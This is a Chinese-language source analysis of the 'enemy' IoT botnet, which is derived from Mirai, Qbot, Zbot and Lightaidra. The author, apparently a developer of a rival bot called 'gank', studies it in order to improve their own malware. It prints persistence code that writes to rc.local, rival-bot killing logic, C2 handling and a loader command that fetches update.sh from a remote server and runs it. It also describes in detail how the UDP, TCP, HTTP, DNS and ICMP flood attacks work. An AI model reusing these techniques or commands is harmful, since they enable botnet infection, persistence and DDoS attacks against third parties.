这是这个项目的网页链接,以下是关于enemy源代码的粗略分析。

https://github.com/freakanonymous/enemy

弗兰克,是一个全职的恶意代码工程师,会不定期更新enemy代码的功能,虽然现在手头的样本不是他写,但是他结合Mirai,Zbot和Qbot,可以学习更多的思路,而且,他都是集中在一个文件.c文件里面,觉得可以好好学习一下。

hide.c

字符串解密算法性能——这个是一个简单的映射密码模块,总的来说性能是比较优越的,是以空间换时间的一个典型密码,这里面的映射表可以随时更换,在迭代过程中是比较方便的。

enemy.c

  • 初始化部分

    • 单一实例——这里面的执行思路跟我们一样,也是使用套接字来实现,但是是创建一个本地套接字实现的。实现上,比我们更好。
    • 随机种子
    • 清空启动参数
    • 随机化进程名
    • 切入后台为服务
    • 父进程退出,子进程继续
    • 写入启动列表尝试自启动——在这边是rc.local
    • 关闭看门狗——沿用了Mirai相关的
    • 获取本地地址——沿用了Mirai相关的
    • coil_xywz
      • REBIND——TELNET、ssh、http、1~65535 rebind
      • 获取文件执行路径——正常情况下二进制文件会被删掉,因此从/proc/$pid/exe路径中获取真实路径
      • 子进程主循环
        • 尝试打开/proc/路径
        • 读取当前路径下的所有pid文件夹
        • 获取exe_path和status_path
        • 删除不存在落地文件的进程——排除当前进程和父进程
        • 删除已知bot端的进程——
          • d8ds(exe_path)

            • 读取当前进程是否存在含有已知bot端的特殊字段
            • 清空查找的特殊字段
            • 有的话返回1
          • 删除含有特殊字段的进程
        • 销毁检查过的exe_path和status_path
  • 主循环
    • 连接成功后

      • 返回bot端架构——在编译的时候就可以确定了
      • 有子进程退出后更新子进程列表——在实现上用一个数组来记录所有子进程的pid,有一个退出,就重新malloc+1个,舍弃掉之前的那个。
      • 获取参数——这当中用到了strtok函数,用法可以学习一下
      • 执行参数
        • system()直接执行
        • processCmd——核心执行指令。
    • 连接不成功
      • 继续连接——截止2023年1月27日15:33:26。while循环里面的_time是没有增加的。也就是说是一个无限循环的。

初始化部分

单一实例

  • 里面有一个sun_path,查了一下。 https://docs.oracle.com/cd/E19504-01/802-5886/6i9k5sgsl/index.html
    https://man7.org/linux/man-pages/man7/unix.7.html。

原文是这么说的,会自定义一个socket套接字命名空间,前提是调用者必须有相关的写权限,而创建的文件也必须由调用者删除,而AF_UNIX类型的套接字可以被unlink()删除。In the UNIX domain,a connection is composed of (usually) one or two path names.【Linux万物皆文件】

  • 进程间通信的一种方式是使用UNIX套接字,人们在使用这种方式时往往用的不是网络套接字,而是一种称为本地套接字的方式。这样做可以避免为黑客留下后门。不同于网络套接字的绑定,本地套接字的绑定的是struct sockaddr_un结构。struct sockaddr_un结构有两个参数:un_family、sun_path。sun_family只能是AF_LOCAL或AF_UNIX,而sun_path是本地文件的路径。通常将文件放在/tmp目录下。
  • enemy采用了跟我们相同模式的基于锁定相同套接字的来保证单一实例运行的方法。

两方算法性能对比:

int singleton_connect(const char *name) {int len, tmpd;struct sockaddr_un addr = {0};if ((tmpd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) {return -1;}/* fill in socket address structure */addr.sun_family = AF_UNIX;strcpy(addr.sun_path, name);len = offsetof(struct sockaddr_un, sun_path) + strlen(name);int ret;unsigned int retries = 1;do {/* bind the name to the descriptor */ret = bind(tmpd, (struct sockaddr *)&addr, len);/* if this succeeds there was no daemon before */if (ret == 0) {return 0;} else {if (errno == EADDRINUSE) {ret = connect(tmpd, (struct sockaddr *) &addr, sizeof(struct sockaddr_un));if (ret != 0) {if (errno == ECONNREFUSED) {unlink(name);continue;}continue;}return 1;}continue;}} while (retries-- > 0);close(tmpd);return -1;
}

对比了一下,enemy的代码在单一实例上更加精简,我们的代码(沿用的是Mirai的):

  • enemy采用单套接字,gank采用双套接字,空间代价更大
  • enemy使用单套接字完成了绑定与连接操作,我们使用双套接字,空间代价更大,时间代价更大
  • enemy采用更少的函数完成了绑定操作(bind与connect)【虽然这里的使用操作让我觉得很疑惑,但是我觉得是有必要更加深入了解套接字的使用方法,同时这里出现了一个我从来不知道的结构成员sun_path】
  • enemy采用本地套接字,性能比网络套接字更加优越

小结:enemy在单一实例代码的功能、性能上比我强太多了。

隐匿行踪部分

这一段代码里面,统计了所有参数,然后尝试清零,然后顺便把进程名也给清空了。

int asds;
// calculate available size
size_t space = 0;
for (asds = 0; asds < argc; asds++) {size_t length = strlen(argv[asds]);space += length + 1; // because of terminating zero
}
memset(argv[0], '\0', space); // wipe existing args
strncpy(argv[0], pname, space - 1); // -1: leave null termination, if title bigger than space
#ifndef DARWIN
#ifndef FREEBSDprctl(PR_SET_NAME,pname,NULL,NULL,NULL);
#endif
#endif

然后在fork出的子进程在操作上有点迷惑,简单做了一个逻辑的分析。

pid_t pid1;
pid_t pid2;
int status;
if (pid1 = fork()) { //一级父进程,原始进程waitpid(pid1, &status, 0);exit(0);
} else if (!pid1) {// 一级子进程if (pid2 = fork()) {//一级子进程,二级父进程exit(0);  } else if (!pid2) {//二级子进程,啥都没干} else {//应该不会到这里}
}

驻留部分

在这里面多了一个uid,目前已知的样本当中我并没有看到过这个函数。可以简单看看。

一般在编写具 setuid root的程序时,为减少此类程序带来的系统安全风险,在使用完root权限后建议马上执行setuid(getuid());来抛弃root权限。setuid()用来重新设置执行目前进程的用户识别码。不过,要让此函数有作用,其有效的用户识别码必须为0(root)。在Linux 下,当root使用setuid()来变换成其他用户识别码时,root权限会被抛弃,完全转换成该用户身份,也就是说,该进程往后将不再具有可setuid()的权利,如果只是向暂时抛弃root权限,稍后想重新取回权限,则必须使用seteuid()。

setsid();//脱离控制终端
setuid(0);//设置UID为root
seteuid(0);//进程uid和euid不一致时Linux系统将不会产生core dump
signal(SIGCHLD, SIG_IGN); //子进程不退出,在后台循环运行
signal(SIGPIPE, SIG_IGN); //防止一些因网络断开错误写导致程序终止

下面这段代码其通过检查rc.local里面是否有自己的痕迹,如果有(d不为0)则说明已经完成驻留工作了,否则就将自己所在的目录(outfile)写入rc.local里面。

#ifndef DARWINchar cwd[256];FILE *file;char str[16];sprintf(str, "/etc/%s", okic("=ru_Brf_")); //rc.localfile=fopen(str,"r");if (file == NULL) {file=fopen(str,"r");}if (file != NULL) {char outfile[256], buf[1024];int i=strlen(argv[0]), d=0;getcwd(cwd,256);if (strcmp(cwd,"/")) {while(argv[0][i] != '/') i--;sprintf(outfile,"%s%s\n",cwd,argv[0]+i);while(!feof(file)) {fgets(buf,1024,file);if (!strcasecmp(buf,outfile)) d++;}if (d == 0) {FILE *out;fclose(file);out=fopen(str,"w");if (out != NULL) {fputs(outfile,out);fclose(out);}}else fclose(file);}else fclose(file);}
#endif

在代码里面,发现很多细节发现作者可能是拼凑而成的,比如一些缩进的问题(虽然也不一定)。

接着在驻留方面,选择沿用了Mirai里面使用的关闭看门狗ioctl-5704操作。

同时也用了Mirai的全局变量LOCAL_ADDR。(在Gank里面也有这个)

coil_xywz

REBIND

在驻留部分,还有一个就是在coil_xywz开启一个新子进程之后进行对常用端口进行REBIND操作,具体表现在SSH/22、TELNET/23,HTTP/80【更多的端口可能会接着其他开发者需求进行】。然后出现了一段比较有意思的代码。

// Kill EVERY service and prevent it from restarting
#ifdef REBIND_EVERYTHINGLOLint rebind;for (rebind = 1; rebind < 65535; rebind++){if (coil_start(HTONS(rebind))){tmp_bind_addr.sin_port = HTONS(rebind);if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1){bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof(struct sockaddr_in));listen(tmp_bind_fd, 1);}}}
#endif

coil_xywz当中,引用了coil_start这个函数。这个函数相对来说有点复杂,一开始我都有点看不懂是这个地方

if (strlen(port_str) == 2)
{port_str[2] = port_str[0];port_str[3] = port_str[1];port_str[4] = 0;port_str[0] = '0';port_str[1] = '0';
}

获取文件执行路径

在这里面用coil_exe用来标记当前进程的执行路径【虽然运行起来会被删掉,但是通过pid文件夹里面的exe可以获知真正的执行路径】

if (!aiuf())return;
/* 获取当前进程执行路径 */
int aiuf(void)
{char path[PATH_MAX], *ptr_path = path, tmp[16];int fd, k_rp_len;// Copy /proc/$pid/exe into pathptr_path += util_strcpy(ptr_path, eika("\x27\xa0\xe7\xb9\xce\x27")); //"/proc/"ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp));ptr_path += util_strcpy(ptr_path, eika("\x27\x51\xc1\x51")); //"/exe"// Try to open fileif ((fd = open(path, O_RDONLY)) == -1)return 0;close(fd);if ((k_rp_len = readlink(path, coil_exe, PATH_MAX - 1)) != -1)coil_exe[k_rp_len] = 0;util_zero(path, ptr_path - path);return 1;
}

子进程主循环

这个就是coil_xywz作为子进程运行的核心所在,这里面的主要功能是保证当前进程的稳定性,说白了就是杀掉一切已知进程,杀掉一切含有特殊字段的进程。

这也是我认为enemy作为一个新的样本源代码比较特别的地方。

守护进程的功能模式也还是第一次见到,对于Linux的结构来说是比较熟悉的。

主循环当中,采用时间戳检查的方式来保证不会占线太长时间。

这里面主循环当中,会尝试打开/proc/路径,检查里面所有pid文件夹,获取exe_pathstatus_path,检查是否存在落地文件,删掉不存在落地文件的进程,删掉已知bot端的进程【使用d8ds函数完成】,之后销毁检查过的exe_path和status_path。

这里面比较有意思的是d8ds(exe_path)这个函数。先来看看代码片段。

//如果在exe_path中通过前64字节能找到已知bot的话,删掉当前进程kill -9 $pid
if (d8ds(exe_path))kill(pid, 9);/* 比对exe_path路径下是否有已知的bot端 */
int d8ds(char *path)
{int fd, ret;char rdbuf[4096];int found = 0;int i;if ((fd = open(path, O_RDONLY)) == -1)return 0;unsigned char searchFor[64];util_zero(searchFor, sizeof(searchFor));while ((ret = read(fd, rdbuf, sizeof(rdbuf))) > 0){for (i = 0; i < NUMITEMS(knownBots); i++){hex2bin(eika(knownBots[i]), util_strlen(knownBots[i]), searchFor);if (mem_exists(rdbuf, ret, searchFor, util_strlen(searchFor))){found = 1;break;}//在内存中清除已知bot的前64字节util_zero(searchFor, sizeof(searchFor));}}close(fd);return found;
}


这里面我初步猜测,通过16进制映射表转换之后,应该是特殊字符串。等有时间动调一下试试看。

存疑:为啥里面将杀其他进程的操作叫做j83j?还有一个是d8ds操作是检查当前exe_path下是否含有已知的特殊字段。

命令架构processCmd

enemy的核心部分,它定义了一个名为 processCmd 的函数,它接受两个参数:argc 和 argv。它根据 argv[0] 的值来判断执行哪个命令。

  • LDSERVER——植入、驻留

    当 argv[0] 的值为 “~-6mvgmv” 时,它会将 argv[1] 的值复制到 ldserver 数组中,直译过来是Loader Server,在全文上下,ldserver作为一个全局变量,真正赋值的地方是在processCmd函数当中进行的,而真正调用的地方是以下这句话。

    sprintf(rekdevice, "cd /tmp || cd /home/$USER || cd /var/run || cd /mnt || cd /data || cd /root || cd /; wget http://%s/update.sh -O update.sh; busybox wget http://%s/update.sh -O update.sh; curl http://%s/update.sh -O update.sh; chmod 777 update.sh; ./update.sh; rm -rf update.sh", ldserver, ldserver, ldserver);
    
  • TCPON——监听

    当 argv[0] 的值为 “TCPON” 时,它会启动一个名为 tcpkernel 的函数作为子进程,其会申请一个RAW类型的套接字,用于统计所有流经内核的tcp包,目前只统计HTTP/80,FTP/21,SMTP/25,Doom Id Software/666,JSWebDev/1337,Omirr/808相关的。

  • TCPOFF——监听

    当 argv[0] 的值为 “TCPOFF” 时,它会终止之前启动的 tcpkernel 函数子进程。

  • UDP——DDoS

    当 argv[0] 的值为 “1-|”【UDP】 时,它会执行一个名为 sendUDP 的函数,它会向给定的 IP 地址和端口发送 UDP 数据包,用于执行UDP DDoS攻击。该代码可以向目标主机发送大量的UDP数据包,从而导致目标主机资源耗尽并无法响应正常请求,从而实现DDoS攻击。攻击执行的具体操作包括:建立套接字、生成随机数据包、不断发送UDP数据包到目标主机,以达到堵塞目标主机的目的。

  • TCP——DDoS

    当 argv[0] 的值为 “cD|”【TCP] 时,它会执行一个名为 ftcp 的函数,它会向给定的 IP 地址和端口发送 TCP 数据包。

  • OVERTCP——DDoS

    当 argv[0] 的值为 “\x09\x1c\x9d\x36\xb0\xda\x1e” 【OVERTCP】时,它会执行和上面类似的 ftcp 函数。它实现了一个网络层攻击,即TCP洪水攻击。它使用了原始套接字来构造和发送TCP数据包。代码首先声明了一个“ftcp”函数,它接收了关于目标主机,端口,攻击时间,伪造IP,TCP标志,数据包大小和轮询间隔的参数。接下来,它创建了一个原始套接字并进行了一些设置。然后,它构造了一个TCP数据包,其中包含了IP首部和TCP首部。代码还处理了TCP标志,允许用户选择特定的标志,例如SYN,RST,FIN等。最后,代码在指定的攻击时间内不断发送数据包,其中随机地修改了IP和TCP头中的一些字段。

  • OVTCP——TCP洪水攻击

    这是一个实现TCP洪水攻击的C函数。该函数接受七个参数:

    1. target:指向保存目标IP地址的无符号字符的指针。
    2. port:目标端口号。
    3. timeEnd:攻击应持续的秒数。
    4. spoofit:如果设置为0,源IP将被随机化。如果设置为大于0的值,则源IP的第一个“欺骗”位将保持不变,而其余位将随机化。
    5. flags:指向无符号字符的指针,该字符保存要在数据包的TCP报头中设置的标志(SYN、RST、FIN、ACK、PSH)。
    6. packetsize:数据包有效负载的大小。
    7. pollinterval:函数轮询攻击结束的时间间隔。

    该函数首先设置目标地址信息,打开TCP的原始套接字,并设置要包含在套接字中的IP头。然后,它生成一个包含IP报头和TCP报头的数据包,其中包含指定的标志和有效负载。然后,它重复发送数据包,直到攻击时间结束,随机更改每个数据包的源IP地址和TCP报头信息。

  • HTTP——DDoS

    该函数接受五个参数:

    1. method:HTTP 请求方法,例如 GET 或 POST。
    2. host:请求目标主机的主机名或 IP 地址。
    3. port:目标主机的端口号。
    4. path:请求的路径。
    5. timeFoo:请求的持续时间。
    6. power:请求的数量。

    该函数首先定义了一个字符串数组 connections,包含三个字符串:“close”、“keep-alive” 和 “accept”。

    然后,通过使用 sprintf 函数,将 HTTP 请求存储到字符串 request 中。请求的格式遵循 HTTP/1.1 协议,并包含两个自定义的字段:一个是 Connection,值从 connections 数组中随机选择;另一个是 “eika(\xbc\x03\x51\xe7\xdc\xa4\xf9\x51\xff\x39)”,值从用户代理数组中随机选择。

    最后,通过使用循环语句和 fork 函数,并在循环内使用 socket_connect、write 和 close 函数,发送指定数量的请求。请求的发送循环会在指定时间到达后停止。

  • HOLD——http DDoS攻击

    这段代码实现了一个名为sendHLD的函数,该函数用于发送高并发连接(HLD)攻击。它接受三个参数:IP地址,端口号和结束时间。首先,它利用getdtablesize() / 2来计算可以同时打开的最大连接数。然后它使用struct sockaddr_in结构体定义了目标地址,并通过getHost函数获取IP地址。接下来,它使用state_t结构体数组定义了最多的连接,并为每个连接分配状态(0:未连接,1:连接中,2:已连接)。它循环检查所有连接的状态,根据状态做不同的操作。如果状态为0,它会创建一个新的套接字并尝试连接;如果状态为1,它会通过select函数检查连接是否完成;如果状态为2,它会通过select函数检查是否有故障。当循环达到结束时间时,该函数将终止。

  • JUNK——DDoS

    主要功能是实现一个网络攻击,叫做JNK攻击。首先定义了一个最大连接数,用来限制打开的套接字数量。然后定义了一个sockaddr_in结构体,存储目标地址的信息(IP地址和端口)。接着定义了一个状态结构体state_t,包含了套接字的描述符和状态信息。然后定义了一个循环,循环持续的时间为end_time,在循环内部执行网络攻击。在每次循环中,使用switch语句控制套接字的状态:

    • 如果状态为0,则创建一个新的套接字,并连接到目标地址。
    • 如果状态为1,则使用select函数等待连接成功或出错。
    • 如果状态为2,则发送一个随机长度的数据包。

    循环结束后,程序结束执行。

  • TLS——DDoS

    执行了一个“TLS攻击”。代码通过创建许多socket来实现一种类型的DDoS攻击,这些socket尝试与目标主机(通过传递的IP地址和端口)建立连接。在这个代码中,连接将不断尝试,直到它们成功与目标主机建立连接,或者当前时间超过预定的结束时间。代码使用了一些技巧来提高执行效率,例如使用非阻塞I/O和多路复用等。

  • STD——DDoS

    这是一个用于发送数据包的函数,可以将随机生成的字符串作为数据包发送到指定的主机和端口。函数以三个参数作为输入:

    1. host:指定的主机地址。
    2. port:指定的端口号。
    3. secs:发送数据包的时间长度。

    在函数中,首先创建了一个套接字,并设置了主机的地址信息。然后,在一个无限循环中不断地发送数据包。发送的数据包是存储在一个随机字符串数组中的数据包,随机选择一个字符串发送。如果在给定的时间内发送了50个数据包,则会暂停并重置计数器。如果给定的时间到期,则退出函数。

  • DNS——DDoS

    这段代码是一个DNS flood攻击程序,通过发送大量的DNS请求包给目标主机,以达到拒绝服务的目的。代码中使用了socket API实现网络通信,并通过设置不同的端口和随机生成的DNS请求数据来模拟DNS查询。由于这段代码没有对服务器的正常使用进行考虑,并且消耗了大量的资源

  • SCANNER——开发者还没有写,估计是内网扫描器。

    • ON
    • OFF
  • OVH——DDoS

    程序首先创建了一个UDP套接字,然后设置了IP和UDP头,并将其发送到指定的目标地址(td参数)和端口(port参数)。然后,程序生成了一定量的随机数据,并在每个数据包的UDP头中填充随机的端口和数据,然后一直循环发送这些数据包,直到到达timeEnd时间。但是好像并没有看到退出条件,且通过num_threads指定并发数。

  • BLACKNURSE——DDoS

    一个在给定主机上发送 ICMP 数据包的功能。首先定义了一个字节数组 pkt_template,存储了待发送的 ICMP 数据包的数据。然后定义了一个结构体 sockaddr_in 用于存储地址信息,以及一个结构体 pollfd 用于 poll 调用。使用 socket 函数创建了一个原始套接字,指定为 ICMP 协议。如果创建失败,则直接退出。然后,使用 getHost 函数获取主机的 IP 地址,并将它存储到 sockaddr_in 结构中。然后是一个无限循环,循环内部调用 sendto 函数,向目标地址发送 ICMP 数据包,如果 sendto 失败且 errno 等于 ENOBUFS,则调用 poll 函数,否则跳出循环。最后关闭套接字,退出。

  • ARK——DDoS

    此代码定义了一个函数sendARK,该函数通过UDP(用户数据报协议)连接将数据发送到指定的服务器。该函数接受三个参数:

    1. host是指向包含服务器的主机名或IP地址的无符号字符数组(即字符串)的指针。
    2. port是一个整数,指定数据应发送到的服务器上的端口号。
    3. secs是连接超时前等待的秒数。
    4. 该函数首先使用套接字函数创建套接字,并检查套接字创建是否成功。如果不是,函数将返回。
    5. 接下来,该函数使用参数中提供的信息和getHost函数的结果来设置服务器地址结构(serveraddr),getHost函数将主机名映射到IP地址。
    6. 最后,该函数使用sendto函数和serveraddr结构将消息发送到服务器。

    值得注意的是,发送的消息似乎包含随机数据,并且可能不会以对收件人有意义的方式进行格式化。

  • ADNS——DDoS

    同上文,对一直的DNS服务器发起攻击。

  • STOP——终止所有攻击,杀死所有pid。

Util_性能比较

随机种子

在随机化字符串上,对双方代码进行对比研究,先上enemy的代码。

void rand_str(char *dest,size_t length) {char charset[] = "0123456789""abcdefghijklmnopqrstuvwxyz""ABCDEFGHIJKLMNOPQRSTUVWXYZ";while (length-- > 0) {size_t index = (double) rand() / RAND_MAX * (sizeof charset - 1);*dest++ = charset[index];}*dest = '\0';
}

递归到randNum函数里面可能性能上就变得非常差了,因此,这一步需要着重分析调整。

pid列表维护

对于恶意代码来说,有些任务是需要fork出来的。因此对于子进程pids的创建、维护与回收尤为重要。

先看看enemy的部分

int listFork()
{uint32_t parent, *newpids, i;parent = fork();if (parent <= 0)return parent;numpids++;newpids = (uint32_t *)malloc((numpids + 1) * 4); //动态的维护pids数组+1for (i = 0; i < numpids - 1; i++)newpids[i] = pids[i];newpids[numpids - 1] = parent;free(pids);  //销毁之前的pid堆块pids = newpids;return parent;
}

其在调用部分是这样的

if (!listFork())
{/* fork出来的子进程 */_exit(0);  //其在调用部分负责子进程的退出
}

再看看enemy的原理,其是通过malloc动态的维护一个子进程pids列表,其总大小总是pids进程数+1。当有一个进程创建的时候,其就将原来的pids列表复制过来。回收的时候,原理也是一样,malloc一个更小的然后将原本的复制过去。从安全性的角度来说,enemy在全局维护一个堆块指针更安全,能更安全的进行木马运行。

最后,这里还有一个我们可以改进的地方,就是enemy存在pids列表的维护,而我们没有。

而enemy里面维护的代码在main的主循环里面,其每一次主循环都有可能会有一个子进程fork出来。

for (i = 0; i < numpids; i++)if (waitpid(pids[i], NULL, WNOHANG) > 0){//当有子进程退出后//这一段是将退出的子进程的下标i从子进程列表中去除unsigned int *newpids, on;for (on = i + 1; on < numpids; on++)pids[on - 1] = pids[on];pids[on - 1] = 0;numpids--;//然后又申请一个更小的chunk来作为子进程列表newpids = (unsigned int *)malloc((numpids + 1) * sizeof(unsigned int));for (on = 0; on < numpids; on++)newpids[on] = pids[on];pids = newpids;free(newpids);}

CMWC算法

这段代码是在send_UDP函数当中看到的,搜了一下。

实现了一种随机数生成算法,称为 “Complementary-Multiply-With-Carry”(CMWC,互补乘法携带)算法。它的主要思路是使用一个长度为 4095 的数组 Q 存储生成的随机数,并使用变量 a 、 c 和 i 记录生成随机数的状态。为了生成下一个随机数,它先使用 a 和 Q[i] 算出一个中间值 t,再根据 t 算出 c 的值。最后,函数返回 Q[i] = r - x 的结果,其中 r 是一个固定的值 0xfffffffe。

uint32_t rand_cmwc(void)
{uint64_t t, a = 18782;static uint32_t i = 4095;uint32_t x, r = 0xfffffffe;i = (i + 1) & 4095;t = a * Q[i] + c;c = (uint32_t)(t >> 32);x = t + c;if (x < c){x++;c++;}return (Q[i] = r - x);
}

CMWC (Complementary-Multiply-With-Carry)算法的优点是:

  1. 随机数序列具有较长的周期。
  2. 生成的随机数具有很高的熵,也就是具有很好的随机性。
  3. 算法简单,代码实现简单,效率高。

CMWC算法的劣势是:

  1. 如果种子选择不当,随机数序列的周期可能较短,这会影响随机性。
  2. 在64位计算机上可能有精度损失。
  3. CMWC算法不是很广为人知,不是所有的计算机语言都有相应的库函数支持。

代码来源分析

在源代码中,原文提到了几点功能模块

* UDP/TCP/ICMP Flooding methods
* mirai syn scanner ran if root
* qbot scanner ran if non root
* skidripped tor cnc from zbot
* custom string encoding (char map lightaidra based)
* custom botkiller strings for memory scanning
* 1s sleep on botkill
* custom passlist for ssh
* custom tor cnc for onion that broadcasts loader server

我们可以看到这基本上是有一些代码来源的,也就是说,enemy的代码是目前已知几个物联网威胁的集合:Mirai、Qbot、Zbot、lightaidra。

Mirai

这个就不做过多的研究,因为之前是已经分析过的,原文提到的是SYN扫描器,我们大致分析了一下,enemy在Mirai的基础上取消了2323端口的爆破以及增加了一下硬编码的凭证,其他大致没有改变。

Lightaidra

Aidra 恶性代码在 2012 年 2 月初首次被发现,据推测该恶性代码在 2011 年末完成制作,是最早的物联网恶性代码。横跨MIPS 、MIPSEL、PowerPC、SuperH 等多种架构。

这个代码里面的字符串自定义映射规则是enemy所采用的,这部分会猜测为什么采用这种方式来进行字符串加密。其工作逻辑很简单。

其SYN攻击和NGSYN攻击两个函数当中的不一样之处,到目前为止还是没弄明白为什么会怎么安排,ACK与NGACK也是如此。

关于IRC部分的暂时没有分析,因为IRC目前只有在国外的一些高校还在使用,IRC聊天是一个比较纯粹的互联网精神的载体。

在独立进程这方面,其采用了文件锁,是我们一开始开发gank里面所采用的方法,而现在采用自监听的方法。

Lightaidra的命令系统是围绕IRC服务器展开的,也就是说Lightaidra是以IRC服务器为星形网络的中心网络,涵盖以下几个方面:

  • 登录命令——登录、登出到僵尸结点
  • 信息命令——直接执行命令、返回当前bot端版本、当前bot状态
  • 扫描命令——用设定好的账号密码尝试登陆23端口/D-Link路由器、设置好账号密码递归扫描本地网络的23端口/D-Link设备,对IP地址(A.B.C.D)进行A.B或者C.D的范围扫描。
  • DDoS命令——伪造好攻击源IP、指定攻击的IP、支持SYN、NGSYN、ACK、NGACK攻击。
  • IRC信息维护命令——维护IRC服务器等。

Qbot

Qbot在github上最早是2016年公布的。其文件结构非常简单,核心文件只有是三个:注入脚本(cc7.py)、服务端(server.c)、受控端(client.c)。

简单分析了一下,可以看到enemy是基于Qbot魔改的,其很多是跟Qbot很相像的,其整体思路都是沿用了Qbot的思路:

  • 所有代码写在一个文件里面,没有.h文件里面。
  • 自己写很多常用的函数而不用系统函数。

其支持的命令种类:

  • DDoS攻击——UDP/TCP/HTTP/JUNK/HOLD:指定端口、持续时间
  • CNC网络维护
  • 僵尸网络计数

其传播途径都是Telnet-23爆破。有预配置好的弱口令。

CNC网络是星型网络。没有驻留手段,只有简单的混淆进程名称,没有删除自身。

目前还有不断的扩展与变种出现。

Zbot

又是一个基于IRC聊天网络进行的僵尸网络,最早在github是2017年公布的。

DDoS的种类更多,细粒度更小,RAW UDP/TCP SYN/TCP FIN/TCP PSH/TCP ACK/TCP URG/TCP RST/TCP ECE/TCP SEW/TCP XMAS

命令支持DDoS、终止攻击、命令执行。

但是有趣的是,在zbot.c当中也是没有找到完成命令执行代码的相关函数system【也有可能编程方法,不止用system一种方式】。

但是分析了整个逻辑,好像没有看到关于执行命令的相关代码,可能被删改了。

里面看到了一些方法调用,命名有点奇怪。

struct Messages
{char *cmd;void (*func)(int, char *, char *);
} msgs[] = {{"352", _352},{"376", _376},{"433", _433},{"422", _376},{"PRIVMSG", _PRIVMSG},{"PING", _PING},{"NICK", _NICK},

它定义了多个回调函数,用于处理在网络通信中收到的不同类型的数据。其主要是IRC协议工作的代码。

具体而言:

  • _376 函数执行模式设置,加入频道和查询某个用户信息的操作。
  • _PING 函数回复PING数据。
  • _352 函数检查接收到的数据是否与当前用户的昵称匹配,如果匹配,则解析并保存与该用户相关的主机信息。
  • _433 函数在收到昵称已被使用的通知时,重新生成昵称。
  • _NICK 函数检查发送者是否是当前用户,如果是,则更新当前用户的昵称。

Zbot主体还是沿用了Qbot的框架,在Qbot的基础进行扩充的。

分析小结

Mirai与Qbot是两个体系的僵尸网络——其在代码结构上、扫描器实现方式上存在区别。

但是其主体的传播思路也都是利用弱口令来实现的。

编译调试

测试环境:物理机Win10 + 虚拟机Ubuntu18.04、IDA+Linux Debugger。

文件方面

  • 在main函数当中,创建了一个名为enemyv2.1.lock的socket文件作为单一实例的本地套接字锁。如果当前工作目录下创建本地套接字失败则退出。

  • 【代码逻辑混乱】对/etc/rc.local文件的启动操作:将最后一个文件夹作为文件名然后复制到rc.local当中。当我在/home/u/Downloads下运行的时候,其生成的路径是/home/u/Downloads/Downloads;当我在/home/u/Downloads/radare2下运行的时候,其写入/etc/rc.local的路径是/home/u/Downloads/radare2/radare2。就算我们对写入rc.local文件里面的路径进行启动,也是不行的。

进程方面

  • 修改了进程名为随机的字符串,影响的相关地方:/proc/self/comm/proc/self/exe里面。

  • 会有两重fork,第一重等待子进程结束后才退出,第二重fork的父进程没什么用,第二重fork的子进程才有用。

网络方面

一开始,并没有发现有很好的连接行为,分析发现,在这里出现了一个解析的问题。

当运行到getaddrinfo函数的时候,就是有问题了。

对于到这个函数调用链是: main-connectTimeout-getHost-getaddrinfo,对于一开始的main函数里面的代码申请。

if (!connectTimeout(fd_cnc, eika("\xfc\x86\xad\x74\x20\xad\xe1\x9a\x52\xad\x86\x20"), 7, 7))

对于eika("\xfc\x86\xad\x74\x20\xad\xe1\x9a\x52\xad\x86\x20"),返回的结果是一个乱七八糟的东西。

然后尝试修改一个可靠的IP来进行调试,我编译了servertor.c

修改bot端代码为server端的IP,同时修改连接的端口是5200,bot端源码里面直连的端口是7。也就是说,端口7一般是root权限运行的。

这之间TCP连接,配置是5200端口。server与bot之间的用明文传输,一开始上线,server对bot说:NSCANNER ON,网络扫描器打开,然后bot返回一个\x01


紧接着,bot端对server发送arch x86_64。而这一块的代码,实测发现工作效率非常高。打算可以引用,其内置了20种CPU指令集,其利用的是编译器内置的声明,是非常方便的,在测试环境是如此定义的:

char *getBuild()
{
#if defined(__x86_64__) || defined(_M_X64)return "x86_64";
...... //众多架构
#elsereturn "UNKNOWN";
#endif
}

紧接着就是呼吸指令,bot对server:PING,server回应bot:PONG。PING-PONG呼吸包,呼吸频率7s。但是我修改代码之后发现都是没用的。函数一开始的定义是。

int connectTimeout(int fd, char *host, int port, int timeout);

其对这个函数的调用是

connectTimeout(fd_cnc, "192.168.150.129", 5200, 7)

我对最后一个值进行修改并没有用,都还是7s。结果发现是只有连接不上的时候timeout才会生效。代码逻辑如下:

    int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));if (res < 0){if (errno == EINPROGRESS){tv.tv_sec = timeout;tv.tv_usec = 0;FD_ZERO(&myset);FD_SET(fd, &myset);if (select(fd + 1, NULL, &myset, NULL, &tv) > 0)......

server.c的健壮性不行,server的命令格式Usage: ./servertor [Bot-Port] [Threads] [Cnc-Port],最后一个是CNC网络部分,我们选用的是5201端口,于是我用nc 192.168.150.128 5201然后就下图了,直接段错误。

CNC网络部分的健壮性也不行,server下线之后,bot端竟然没有重连。

第2行和第8行是我添加的调试语句,结果发现运行在读取文件的时候出错了,如下图所示。


可以看到在上图主动提出FIN标记的是server端。

从上面的代码逻辑我们可以推出,这里面的工作逻辑相对来说就进入了自定义的步骤了。

代码逻辑混乱

写入启动路径

#ifndef DARWINchar cwd[256];FILE *file;char str[16];sprintf(str, "/etc/%s", okic("=ru_Brf_")); // rc.local // rc.localfile = fopen(str, "r");if (file == NULL){file = fopen(str, "r");}if (file != NULL){char outfile[256], buf[1024];int i = strlen(argv[0]), d = 0;        getcwd(cwd, 256);if (strcmp(cwd, "/")){while (argv[0][i] != '/')i--;sprintf(outfile, "%s%s\n", cwd, argv[0] + i); //这里面的argv[0],在原本的前面的代码,存在//rand_str(pname, 12);strncpy(argv[0], pname, space - 1); 这样一句,导致了原本替换了argv[0]里面的内容,但是这里又引用了这个变量,就造成了逻辑混乱while (!feof(file)){fgets(buf, 1024, file);if (!strcasecmp(buf, outfile))d++;}if (d == 0){FILE *out;fclose(file);out = fopen(str, "w");if (out != NULL){fputs(outfile, out);    //将最后一个文件夹作为文件名然后复制到rc.local当中。fclose(out);}}elsefclose(file);}elsefclose(file);}
#endif

这段代码是在不是DARWIN系统【OSX,苹果系统】的其他Linux发行版本当中执行。

直接运行:

其整段代码将enemy的执行路径的最后一个文件夹作为文件名然后复制到rc.local当中,而这种情况下是在ubuntu中直接运行,不论是否是root权限。


